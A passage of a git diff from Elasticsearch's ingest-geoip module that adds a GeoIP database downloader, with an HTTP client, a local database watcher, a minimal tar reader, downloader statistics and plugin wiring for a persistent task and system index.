this.firstChunk = firstChunk; + this.lastChunk = lastChunk; + this.md5 = Objects.requireNonNull(md5); + } + + public long getLastUpdate() { + return lastUpdate; + } + + public int getFirstChunk() { + return firstChunk; + } + + public int getLastChunk() { + return lastChunk; + } + + public String getMd5() { + return md5; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + Metadata metadata = (Metadata) o; + return lastUpdate == metadata.lastUpdate + && firstChunk == metadata.firstChunk + && lastChunk == metadata.lastChunk + && md5.equals(metadata.md5); + } + + @Override + public int hashCode() { + return Objects.hash(lastUpdate, firstChunk, lastChunk, md5); + } + + @Override + public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { + builder.startObject(); + { + builder.field(LAST_UPDATE.getPreferredName(), lastUpdate); + builder.field(FIRST_CHUNK.getPreferredName(), firstChunk); + builder.field(LAST_CHUNK.getPreferredName(), lastChunk); + builder.field(MD5.getPreferredName(), md5); + } + builder.endObject(); + return builder; + } + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/HttpClient.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/HttpClient.java new file mode 100644 index 0000000000000..2a2dc81a537fa --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/HttpClient.java @@ -0,0 +1,93 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.elasticsearch.ElasticsearchStatusException; +import org.elasticsearch.ResourceNotFoundException; +import org.elasticsearch.SpecialPermission; +import org.elasticsearch.common.CheckedSupplier; +import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.rest.RestStatus; + +import java.io.BufferedInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.security.AccessController; +import java.security.PrivilegedActionException; +import java.security.PrivilegedExceptionAction; + +import static java.net.HttpURLConnection.HTTP_MOVED_PERM; +import static java.net.HttpURLConnection.HTTP_MOVED_TEMP; +import static java.net.HttpURLConnection.HTTP_NOT_FOUND; +import static java.net.HttpURLConnection.HTTP_OK; +import static java.net.HttpURLConnection.HTTP_SEE_OTHER; + +class HttpClient { + + byte[] getBytes(String url) throws IOException { + return get(url).readAllBytes(); + } + + InputStream get(String urlToGet) throws IOException { + return doPrivileged(() -> { + String url = urlToGet; + HttpURLConnection conn = createConnection(url); + + int redirectsCount = 0; + while (true) { + switch (conn.getResponseCode()) { + case HTTP_OK: + return new BufferedInputStream(getInputStream(conn)); + case HTTP_MOVED_PERM: + case HTTP_MOVED_TEMP: + case HTTP_SEE_OTHER: + if (redirectsCount++ > 50) { + throw new IllegalStateException("too many redirects connection to [" + urlToGet + "]"); + } + String location = conn.getHeaderField("Location"); + URL base = new URL(url); + URL next = new URL(base, location); // Deal with relative URLs + url = next.toExternalForm(); + conn = createConnection(url); + break; + case HTTP_NOT_FOUND: + throw new ResourceNotFoundException("{} not found", urlToGet); + default: + int responseCode = conn.getResponseCode(); + throw new ElasticsearchStatusException("error during downloading {}", RestStatus.fromCode(responseCode), urlToGet); + } + } + }); + } + + @SuppressForbidden(reason = "we need socket connection to download data from internet") + private InputStream getInputStream(HttpURLConnection conn) throws IOException { + return conn.getInputStream(); + } + + private HttpURLConnection createConnection(String url) throws IOException { + HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); + conn.setConnectTimeout(10000); + conn.setReadTimeout(10000); + conn.setDoOutput(false); + conn.setInstanceFollowRedirects(false); + return conn; + } + + private static R doPrivileged(CheckedSupplier supplier) throws IOException { + SpecialPermission.check(); + try { + return AccessController.doPrivileged((PrivilegedExceptionAction) supplier::get); + } catch (PrivilegedActionException e) { + throw (IOException) e.getCause(); + } + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/IngestGeoIpPlugin.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/IngestGeoIpPlugin.java index 6b50e4c34ae79..f62703f278c70 100644 --- a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/IngestGeoIpPlugin.java +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/IngestGeoIpPlugin.java @@ -8,144 +8,216 @@ package org.elasticsearch.ingest.geoip; -import com.maxmind.db.NoCache; -import com.maxmind.db.Reader; -import com.maxmind.geoip2.DatabaseReader; -import org.elasticsearch.common.Booleans; -import org.elasticsearch.common.CheckedSupplier; -import org.elasticsearch.common.SuppressForbidden; -import org.elasticsearch.common.io.PathUtils; +import org.apache.lucene.util.SetOnce; +import org.elasticsearch.Version; +import org.elasticsearch.action.ActionRequest; +import org.elasticsearch.action.ActionResponse; +import org.elasticsearch.client.Client; +import org.elasticsearch.cluster.metadata.IndexMetadata; +import org.elasticsearch.cluster.metadata.IndexNameExpressionResolver; +import org.elasticsearch.cluster.node.DiscoveryNodes; +import org.elasticsearch.cluster.service.ClusterService; +import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.io.stream.NamedWriteableRegistry; +import org.elasticsearch.common.settings.ClusterSettings; +import org.elasticsearch.common.settings.IndexScopedSettings; import org.elasticsearch.common.settings.Setting; -import org.elasticsearch.core.internal.io.IOUtils; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.settings.SettingsFilter; +import org.elasticsearch.common.settings.SettingsModule; +import org.elasticsearch.common.xcontent.NamedXContentRegistry; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.env.Environment; +import org.elasticsearch.env.NodeEnvironment; +import org.elasticsearch.indices.SystemIndexDescriptor; +import org.elasticsearch.ingest.IngestService; import org.elasticsearch.ingest.Processor; +import org.elasticsearch.ingest.geoip.stats.GeoIpDownloaderStats; +import org.elasticsearch.ingest.geoip.stats.GeoIpDownloaderStatsAction; +import org.elasticsearch.ingest.geoip.stats.GeoIpDownloaderStatsTransportAction; +import org.elasticsearch.ingest.geoip.stats.RestGeoIpDownloaderStatsAction; +import org.elasticsearch.persistent.PersistentTaskParams; +import org.elasticsearch.persistent.PersistentTaskState; +import org.elasticsearch.persistent.PersistentTasksExecutor; +import org.elasticsearch.plugins.ActionPlugin; import org.elasticsearch.plugins.IngestPlugin; +import org.elasticsearch.plugins.PersistentTaskPlugin; import org.elasticsearch.plugins.Plugin; +import org.elasticsearch.plugins.SystemIndexPlugin; +import org.elasticsearch.repositories.RepositoriesService; +import org.elasticsearch.rest.RestController; +import org.elasticsearch.rest.RestHandler; +import org.elasticsearch.script.ScriptService; +import org.elasticsearch.tasks.Task; +import org.elasticsearch.threadpool.ThreadPool; +import org.elasticsearch.watcher.ResourceWatcherService; import java.io.Closeable; import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Path; -import java.nio.file.PathMatcher; +import java.io.UncheckedIOException; +import java.util.Arrays; +import java.util.Collection; import java.util.Collections; -import java.util.HashMap; -import java.util.Iterator; import java.util.List; import java.util.Map; -import java.util.stream.Stream; +import java.util.function.Supplier; -public class IngestGeoIpPlugin extends Plugin implements IngestPlugin, Closeable { +import static org.elasticsearch.common.xcontent.XContentFactory.jsonBuilder; +import static org.elasticsearch.index.mapper.MapperService.SINGLE_MAPPING_NAME; +import static org.elasticsearch.ingest.geoip.GeoIpDownloader.DATABASES_INDEX; +import static org.elasticsearch.ingest.geoip.GeoIpDownloader.GEOIP_DOWNLOADER; + +public class IngestGeoIpPlugin extends Plugin implements IngestPlugin, SystemIndexPlugin, Closeable, PersistentTaskPlugin, ActionPlugin { public static final Setting CACHE_SIZE = Setting.longSetting("ingest.geoip.cache_size", 1000, 0, Setting.Property.NodeScope); static String[] DEFAULT_DATABASE_FILENAMES = new String[]{"GeoLite2-ASN.mmdb", "GeoLite2-City.mmdb", "GeoLite2-Country.mmdb"}; - private Map databaseReaders; + private final SetOnce ingestService = new SetOnce<>(); + private final SetOnce databaseRegistry = new SetOnce<>(); + private GeoIpDownloaderTaskExecutor geoIpDownloaderTaskExecutor; @Override public List> getSettings() { - return List.of(CACHE_SIZE); + return Arrays.asList(CACHE_SIZE, GeoIpDownloader.ENDPOINT_SETTING, GeoIpDownloader.POLL_INTERVAL_SETTING, + GeoIpDownloaderTaskExecutor.ENABLED_SETTING); } @Override public Map getProcessors(Processor.Parameters parameters) { - if (databaseReaders != null) { - throw new IllegalStateException("getProcessors called twice for geoip plugin!!"); - } - final long cacheSize = CACHE_SIZE.get(parameters.env.settings()); - final GeoIpCache cache = new GeoIpCache(cacheSize); - final Path geoIpDirectory = getGeoIpDirectory(parameters); - final Path geoIpConfigDirectory = parameters.env.configFile().resolve("ingest-geoip"); + ingestService.set(parameters.ingestService); + + long cacheSize = CACHE_SIZE.get(parameters.env.settings()); + GeoIpCache geoIpCache = new GeoIpCache(cacheSize); + DatabaseRegistry registry = new DatabaseRegistry(parameters.env, parameters.client, geoIpCache, parameters.genericExecutor); + databaseRegistry.set(registry); + return Map.of(GeoIpProcessor.TYPE, new GeoIpProcessor.Factory(registry)); + } + + @Override + public Collection createComponents(Client client, + ClusterService clusterService, + ThreadPool threadPool, + ResourceWatcherService resourceWatcherService, + ScriptService scriptService, + NamedXContentRegistry xContentRegistry, + Environment environment, + NodeEnvironment nodeEnvironment, + NamedWriteableRegistry namedWriteableRegistry, + IndexNameExpressionResolver indexNameExpressionResolver, + Supplier repositoriesServiceSupplier) { try { - databaseReaders = loadDatabaseReaders(cache, geoIpDirectory, geoIpConfigDirectory); + String nodeId = nodeEnvironment.nodeId(); + databaseRegistry.get().initialize(nodeId, resourceWatcherService, ingestService.get()); } catch (IOException e) { - throw new RuntimeException(e); + throw new UncheckedIOException(e); } - return Collections.singletonMap(GeoIpProcessor.TYPE, new GeoIpProcessor.Factory(databaseReaders)); - } - /* - * In GeoIpProcessorNonIngestNodeTests, ingest-geoip is loaded on the classpath. This means that the plugin is never unbundled into a - * directory where the database files would live. Therefore, we have to copy these database files ourselves. To do this, we need the - * ability to specify where those database files would go. We do this by adding a plugin that registers ingest.geoip.database_path as - * an actual setting. Otherwise, in production code, this setting is not registered and the database path is not configurable. - */ - @SuppressForbidden(reason = "PathUtils#get") - private Path getGeoIpDirectory(Processor.Parameters parameters) { - final Path geoIpDirectory; - if (parameters.env.settings().get("ingest.geoip.database_path") == null) { - geoIpDirectory = parameters.env.modulesFile().resolve("ingest-geoip"); - } else { - geoIpDirectory = PathUtils.get(parameters.env.settings().get("ingest.geoip.database_path")); + if(GeoIpDownloaderTaskExecutor.ENABLED_DEFAULT == false){ + return List.of(databaseRegistry.get()); } - return geoIpDirectory; + + geoIpDownloaderTaskExecutor = new GeoIpDownloaderTaskExecutor(client, new HttpClient(), clusterService, threadPool); + return List.of(databaseRegistry.get(), geoIpDownloaderTaskExecutor); } - static Map loadDatabaseReaders(GeoIpCache cache, - Path geoIpDirectory, - Path geoIpConfigDirectory) throws IOException { - assertDatabaseExistence(geoIpDirectory, true); - assertDatabaseExistence(geoIpConfigDirectory, false); - final boolean loadDatabaseOnHeap = Booleans.parseBoolean(System.getProperty("es.geoip.load_db_on_heap", "false")); - final Map databaseReaders = new HashMap<>(); - - // load the default databases - for (final String databaseFilename : DEFAULT_DATABASE_FILENAMES) { - final Path databasePath = geoIpDirectory.resolve(databaseFilename); - final DatabaseReaderLazyLoader loader = createLoader(cache, databasePath, loadDatabaseOnHeap); - databaseReaders.put(databaseFilename, loader); - } + @Override + public void close() throws IOException { + databaseRegistry.get().close(); + } - // load any custom databases - if (Files.exists(geoIpConfigDirectory)) { - try (Stream databaseFiles = Files.list(geoIpConfigDirectory)) { - PathMatcher pathMatcher = geoIpConfigDirectory.getFileSystem().getPathMatcher("glob:**.mmdb"); - // Use iterator instead of forEach otherwise IOException needs to be caught twice... - Iterator iterator = databaseFiles.iterator(); - while (iterator.hasNext()) { - Path databasePath = iterator.next(); - if (Files.isRegularFile(databasePath) && pathMatcher.matches(databasePath)) { - String databaseFileName = databasePath.getFileName().toString(); - final DatabaseReaderLazyLoader loader = createLoader(cache, databasePath, loadDatabaseOnHeap); - databaseReaders.put(databaseFileName, loader); - } - } - } + @Override + public List> getPersistentTasksExecutor(ClusterService clusterService, ThreadPool threadPool, + Client client, SettingsModule settingsModule, + IndexNameExpressionResolver expressionResolver) { + if (GeoIpDownloaderTaskExecutor.ENABLED_DEFAULT == false) { + return Collections.emptyList(); } - return Collections.unmodifiableMap(databaseReaders); + return List.of(geoIpDownloaderTaskExecutor); } - private static DatabaseReaderLazyLoader createLoader(GeoIpCache cache, Path databasePath, boolean loadDatabaseOnHeap) { - CheckedSupplier loader = () -> { - DatabaseReader.Builder builder = createDatabaseBuilder(databasePath).withCache(NoCache.getInstance()); - if (loadDatabaseOnHeap) { - builder.fileMode(Reader.FileMode.MEMORY); - } else { - builder.fileMode(Reader.FileMode.MEMORY_MAPPED); - } - return builder.build(); - }; - return new DatabaseReaderLazyLoader(cache, databasePath, loader); + @Override + public List> getActions() { + return List.of(new ActionHandler<>(GeoIpDownloaderStatsAction.INSTANCE, GeoIpDownloaderStatsTransportAction.class)); } - private static void assertDatabaseExistence(final Path path, final boolean exists) throws IOException { - for (final String database : DEFAULT_DATABASE_FILENAMES) { - if (Files.exists(path.resolve(database)) != exists) { - final String message = "expected database [" + database + "] to " + (exists ? "" : "not ") + "exist in [" + path + "]"; - throw new IOException(message); - } - } + @Override + public List getRestHandlers(Settings settings, RestController restController, ClusterSettings clusterSettings, + IndexScopedSettings indexScopedSettings, SettingsFilter settingsFilter, + IndexNameExpressionResolver indexNameExpressionResolver, + Supplier nodesInCluster) { + return List.of(new RestGeoIpDownloaderStatsAction()); } - @SuppressForbidden(reason = "Maxmind API requires java.io.File") - private static DatabaseReader.Builder createDatabaseBuilder(Path databasePath) { - return new DatabaseReader.Builder(databasePath.toFile()); + @Override + public List getNamedXContent() { + return List.of(new NamedXContentRegistry.Entry(PersistentTaskParams.class, new ParseField(GEOIP_DOWNLOADER), + GeoIpTaskParams::fromXContent), + new NamedXContentRegistry.Entry(PersistentTaskState.class, new ParseField(GEOIP_DOWNLOADER), GeoIpTaskState::fromXContent)); } @Override - public void close() throws IOException { - if (databaseReaders != null) { - IOUtils.close(databaseReaders.values()); + public List getNamedWriteables() { + return List.of(new NamedWriteableRegistry.Entry(PersistentTaskState.class, GEOIP_DOWNLOADER, GeoIpTaskState::new), + new NamedWriteableRegistry.Entry(PersistentTaskParams.class, GEOIP_DOWNLOADER, GeoIpTaskParams::new), + new NamedWriteableRegistry.Entry(Task.Status.class, GEOIP_DOWNLOADER, GeoIpDownloaderStats::new)); + } + + @Override + public Collection getSystemIndexDescriptors(Settings settings) { + if (GeoIpDownloaderTaskExecutor.ENABLED_DEFAULT == false) { + return Collections.emptyList(); } + SystemIndexDescriptor geoipDatabasesIndex = SystemIndexDescriptor.builder() + .setIndexPattern(DATABASES_INDEX) + .setDescription("GeoIP databases") + .setMappings(mappings()) + .setSettings(Settings.builder() + .put(IndexMetadata.SETTING_NUMBER_OF_SHARDS, 1) + .put(IndexMetadata.SETTING_NUMBER_OF_REPLICAS, 0) + .put(IndexMetadata.SETTING_AUTO_EXPAND_REPLICAS, "0-1") + .build()) + .setOrigin("geoip") + .setVersionMetaKey("version") + .setPrimaryIndex(DATABASES_INDEX) + .build(); + return Collections.singleton(geoipDatabasesIndex); + } + + @Override + public String getFeatureName() { + return "geoip"; } + @Override + public String getFeatureDescription() { + return "Manages data related to GeoIP database downloader"; + } + + private static XContentBuilder mappings() { + try { + return jsonBuilder() + .startObject() + .startObject(SINGLE_MAPPING_NAME) + .startObject("_meta") + .field("version", Version.CURRENT) + .endObject() + .field("dynamic", "strict") + .startObject("properties") + .startObject("name") + .field("type", "keyword") + .endObject() + .startObject("chunk") + .field("type", "integer") + .endObject() + .startObject("data") + .field("type", "binary") + .endObject() + .endObject() + .endObject() + .endObject(); + } catch (IOException e) { + throw new UncheckedIOException("Failed to build mappings for " + DATABASES_INDEX, e); + } + } } diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/LocalDatabases.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/LocalDatabases.java new file mode 100644 index 0000000000000..d6d5921a08c4a --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/LocalDatabases.java @@ -0,0 +1,200 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.ingest.geoip; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.message.ParameterizedMessage; +import org.apache.logging.log4j.util.Supplier; +import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.common.io.PathUtils; +import org.elasticsearch.env.Environment; +import org.elasticsearch.watcher.FileChangesListener; +import org.elasticsearch.watcher.FileWatcher; +import org.elasticsearch.watcher.ResourceWatcherService; + +import java.io.Closeable; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.PathMatcher; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ConcurrentMap; +import java.util.stream.Stream; + +import static org.elasticsearch.ingest.geoip.IngestGeoIpPlugin.DEFAULT_DATABASE_FILENAMES; + +/** + * Keeps track of the databases locally available to a node: + * 1) Default databases shipped with the default distribution via ingest-geoip module + * 2) User provided databases from the ES_HOME/config/ingest-geoip directory. This directory is monitored + * and files updates are picked up and may cause databases being loaded or removed at runtime. + */ +final class LocalDatabases implements Closeable { + + private static final Logger LOGGER = LogManager.getLogger(LocalDatabases.class); + + private final GeoIpCache cache; + private final Path geoipConfigDir; + + private final Map defaultDatabases; + private final ConcurrentMap configDatabases; + + LocalDatabases(Environment environment, GeoIpCache cache) { + this( + // In GeoIpProcessorNonIngestNodeTests, ingest-geoip is loaded on the classpath. + // This means that the plugin is never unbundled into a directory where the database files would live. + // Therefore, we have to copy these database files ourselves. To do this, we need the ability to specify where + // those database files would go. We do this by adding a plugin that registers ingest.geoip.database_path as an + // actual setting. Otherwise, in production code, this setting is not registered and the database path is not configurable. + environment.settings().get("ingest.geoip.database_path") != null ? + getGeoipConfigDirectory(environment) : + environment.modulesFile().resolve("ingest-geoip"), + environment.configFile().resolve("ingest-geoip"), + cache); + } + + LocalDatabases(Path geoipModuleDir, Path geoipConfigDir, GeoIpCache cache) { + this.cache = cache; + this.geoipConfigDir = geoipConfigDir; + this.configDatabases = new ConcurrentHashMap<>(); + this.defaultDatabases = initDefaultDatabases(geoipModuleDir); + } + + void initialize(ResourceWatcherService resourceWatcher) throws IOException { + configDatabases.putAll(initConfigDatabases(geoipConfigDir)); + + FileWatcher watcher = new FileWatcher(geoipConfigDir); + watcher.addListener(new GeoipDirectoryListener()); + resourceWatcher.add(watcher, ResourceWatcherService.Frequency.HIGH); + + LOGGER.info("initialized default databases [{}], config databases [{}] and watching [{}] for changes", + defaultDatabases.keySet(), configDatabases.keySet(), geoipConfigDir); + } + + DatabaseReaderLazyLoader getDatabase(String name, boolean fallbackUsingDefaultDatabases) { + return configDatabases.getOrDefault(name, fallbackUsingDefaultDatabases ? defaultDatabases.get(name) : null); + } + + List getAllDatabases() { + List all = new ArrayList<>(defaultDatabases.values()); + all.addAll(configDatabases.values()); + return all; + } + + Map getDefaultDatabases() { + return defaultDatabases; + } + + Map getConfigDatabases() { + return configDatabases; + } + + void updateDatabase(Path file, boolean update) { + String databaseFileName = file.getFileName().toString(); + try { + if (update) { + LOGGER.info("database file changed [{}], reload database...", file); + DatabaseReaderLazyLoader loader = new DatabaseReaderLazyLoader(cache, file, null); + DatabaseReaderLazyLoader existing = configDatabases.put(databaseFileName, loader); + if (existing != null) { + existing.close(); + } + } else { + LOGGER.info("database file removed [{}], close database...", file); + DatabaseReaderLazyLoader existing = configDatabases.remove(databaseFileName); + assert existing != null; + existing.close(); + } + } catch (Exception e) { + LOGGER.error((Supplier) () -> new ParameterizedMessage("failed to update database [{}]", databaseFileName), e); + } + } + + Map initDefaultDatabases(Path geoipModuleDir) { + Map databases = new HashMap<>(DEFAULT_DATABASE_FILENAMES.length); + + for (String filename : DEFAULT_DATABASE_FILENAMES) { + Path source = geoipModuleDir.resolve(filename); + assert Files.exists(source); + String databaseFileName = source.getFileName().toString(); + DatabaseReaderLazyLoader loader = new DatabaseReaderLazyLoader(cache, source, null); + databases.put(databaseFileName, loader); + } + + return Collections.unmodifiableMap(databases); + } + + Map initConfigDatabases(Path geoipConfigDir) throws IOException { + Map databases = new HashMap<>(); + + if (geoipConfigDir != null && Files.exists(geoipConfigDir)) { + try (Stream databaseFiles = Files.list(geoipConfigDir)) { + PathMatcher pathMatcher = geoipConfigDir.getFileSystem().getPathMatcher("glob:**.mmdb"); + // Use iterator instead of forEach otherwise IOException needs to be caught twice... + Iterator iterator = databaseFiles.iterator(); + while (iterator.hasNext()) { + Path databasePath = iterator.next(); + if (Files.isRegularFile(databasePath) && pathMatcher.matches(databasePath)) { + assert Files.exists(databasePath); + String databaseFileName = databasePath.getFileName().toString(); + DatabaseReaderLazyLoader loader = new DatabaseReaderLazyLoader(cache, databasePath, null); + databases.put(databaseFileName, loader); + } + } + } + } + + return Collections.unmodifiableMap(databases); + } + + @Override + public void close() throws IOException { + for (DatabaseReaderLazyLoader lazyLoader : defaultDatabases.values()) { + lazyLoader.close(); + } + for (DatabaseReaderLazyLoader lazyLoader : configDatabases.values()) { + lazyLoader.close(); + } + } + + @SuppressForbidden(reason = "PathUtils#get") + private static Path getGeoipConfigDirectory(Environment environment) { + return PathUtils.get(environment.settings().get("ingest.geoip.database_path")); + } + + private class GeoipDirectoryListener implements FileChangesListener { + + @Override + public void onFileCreated(Path file) { + onFileChanged(file); + } + + @Override + public void onFileDeleted(Path file) { + PathMatcher pathMatcher = file.getFileSystem().getPathMatcher("glob:**.mmdb"); + if (pathMatcher.matches(file)) { + updateDatabase(file, false); + } + } + + @Override + public void onFileChanged(Path file) { + PathMatcher pathMatcher = file.getFileSystem().getPathMatcher("glob:**.mmdb"); + if (pathMatcher.matches(file)) { + updateDatabase(file, true); + } + } + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/TarInputStream.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/TarInputStream.java new file mode 100644 index 0000000000000..2b1d4e98bebef --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/TarInputStream.java @@ -0,0 +1,124 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import java.io.EOFException; +import java.io.FilterInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; + +/** + * {@link InputStream} with very basic support for tar format, just enough to parse archives provided by GeoIP database service from Infra. + * This class is not suitable for general purpose tar processing! + */ +class TarInputStream extends FilterInputStream { + + private TarEntry currentEntry; + private long remaining; + private long reminder; + private final byte[] buf = new byte[512]; + + TarInputStream(InputStream in) { + super(in); + } + + public TarEntry getNextEntry() throws IOException { + if (currentEntry != null) { + //go to the end of the current entry + skipN(remaining); + if (reminder != 0) { + skipN(512 - reminder); + } + } + int read = in.readNBytes(buf, 0, 512); + if (read == 0) { + return null; + } + if (read != 512) { + throw new EOFException(); + } + if (Arrays.compare(buf, new byte[512]) == 0) { + return null; + } + + String name = getString(0, 100); + + boolean notFile = (buf[156] != 0 && buf[156] != '0') || name.endsWith("/"); + + if(notFile){ + remaining = 0; + reminder = 0; + } else { + String sizeString = getString(124, 12); + remaining = sizeString.isEmpty() ? 0 : Long.parseLong(sizeString, 8); + reminder = remaining % 512; + } + + currentEntry = new TarEntry(name, notFile); + return currentEntry; + } + + @Override + public int read() throws IOException { + if (remaining == 0) { + return -1; + } + remaining--; + return in.read(); + } + + @Override + public int read(byte[] b, int off, int len) throws IOException { + if (remaining <= 0) { + return -1; + } + int read = in.read(b, off, remaining > Integer.MAX_VALUE ? len : (int) Math.min(len, remaining)); + remaining -= read; + return read; + } + + private String getString(int offset, int maxLen) { + return new String(buf, offset, maxLen, StandardCharsets.UTF_8).trim(); + } + + private void skipN(long n) throws IOException { + while (n > 0) { + long skip = in.skip(n); + if (skip < n) { + int read = in.read(); + if (read == -1) { + throw new EOFException(); + } + n--; + } + n -= skip; + } + } + + static class TarEntry { + private final String name; + private final boolean notFile; + + TarEntry(String name, boolean notFile) { + this.name = name; + this.notFile = notFile; + } + + public String getName() { + return name; + } + + public boolean isNotFile() { + return notFile; + } + } +} + diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStats.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStats.java new file mode 100644 index 0000000000000..3deb7b00bb465 --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/stats/GeoIpDownloaderStats.java @@ -0,0 +1,156 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip.stats; + +import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.Strings; +import org.elasticsearch.common.io.stream.StreamInput; +import org.elasticsearch.common.io.stream.StreamOutput; +import org.elasticsearch.common.xcontent.ConstructingObjectParser; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.ingest.geoip.GeoIpDownloader; +import org.elasticsearch.tasks.Task; + +import java.io.IOException; +import java.util.Objects; + +public class GeoIpDownloaderStats implements Task.Status { + + public static final GeoIpDownloaderStats EMPTY = new GeoIpDownloaderStats(0, 0, 0, 0, 0); + + public static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>( + "geoip_downloader_stats", a -> new GeoIpDownloaderStats((int) a[0], (int) a[1], (long) a[2], (int) a[3], (int) a[4])); + + private static final ParseField SUCCESSFUL_DOWNLOADS = new ParseField("successful_downloads"); + private static final ParseField FAILED_DOWNLOADS = new ParseField("failed_downloads"); + private static final ParseField TOTAL_DOWNLOAD_TIME = new ParseField("total_download_time"); + private static final ParseField DATABASES_COUNT = new ParseField("databases_count"); + private static final ParseField SKIPPED_DOWNLOADS = new ParseField("skipped_updates"); + + static { + PARSER.declareInt(ConstructingObjectParser.constructorArg(), SUCCESSFUL_DOWNLOADS); + PARSER.declareInt(ConstructingObjectParser.constructorArg(), FAILED_DOWNLOADS); + PARSER.declareLong(ConstructingObjectParser.constructorArg(), TOTAL_DOWNLOAD_TIME); + PARSER.declareInt(ConstructingObjectParser.constructorArg(), DATABASES_COUNT); + PARSER.declareInt(ConstructingObjectParser.constructorArg(), SKIPPED_DOWNLOADS); + } + + private final int successfulDownloads; + private final int failedDownloads; + private final long totalDownloadTime; + private final int databasesCount; + private final int skippedDownloads; + + public GeoIpDownloaderStats(StreamInput in) throws IOException { + successfulDownloads = in.readVInt(); + failedDownloads = in.readVInt(); + totalDownloadTime = in.readVLong(); + databasesCount = in.readVInt(); + skippedDownloads = in.readVInt(); + } + + private GeoIpDownloaderStats(int successfulDownloads, int failedDownloads, long totalDownloadTime, int databasesCount, + int skippedDownloads) { + this.successfulDownloads = successfulDownloads; + this.failedDownloads = failedDownloads; + this.totalDownloadTime = totalDownloadTime; + this.databasesCount = databasesCount; + this.skippedDownloads = skippedDownloads; + } + + public int getSuccessfulDownloads() { + return successfulDownloads; + } + + public int getFailedDownloads() { + return failedDownloads; + } + + public long getTotalDownloadTime() { + return totalDownloadTime; + } + + public int getDatabasesCount() { + return databasesCount; + } + + public int getSkippedDownloads() { + return skippedDownloads; + } + + public GeoIpDownloaderStats skippedDownload() { + return new GeoIpDownloaderStats(successfulDownloads, failedDownloads, totalDownloadTime, databasesCount, skippedDownloads + 1); + } + + public GeoIpDownloaderStats successfulDownload(long downloadTime) { + return new GeoIpDownloaderStats(successfulDownloads + 1, failedDownloads, totalDownloadTime + Math.max(downloadTime, 0), + databasesCount, skippedDownloads); + } + + public GeoIpDownloaderStats failedDownload() { + return new GeoIpDownloaderStats(successfulDownloads, failedDownloads + 1, totalDownloadTime, databasesCount, skippedDownloads); + } + + public GeoIpDownloaderStats count(int databasesCount) { + return new GeoIpDownloaderStats(successfulDownloads, failedDownloads, totalDownloadTime, databasesCount, skippedDownloads); + } + + @Override + public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { + builder.startObject(); + builder.field(SUCCESSFUL_DOWNLOADS.getPreferredName(), successfulDownloads); + builder.field(FAILED_DOWNLOADS.getPreferredName(), failedDownloads); + builder.field(TOTAL_DOWNLOAD_TIME.getPreferredName(), totalDownloadTime); + builder.field(DATABASES_COUNT.getPreferredName(), databasesCount); + builder.field(SKIPPED_DOWNLOADS.getPreferredName(), skippedDownloads); + builder.endObject(); + return builder; + } + + public static GeoIpDownloaderStats 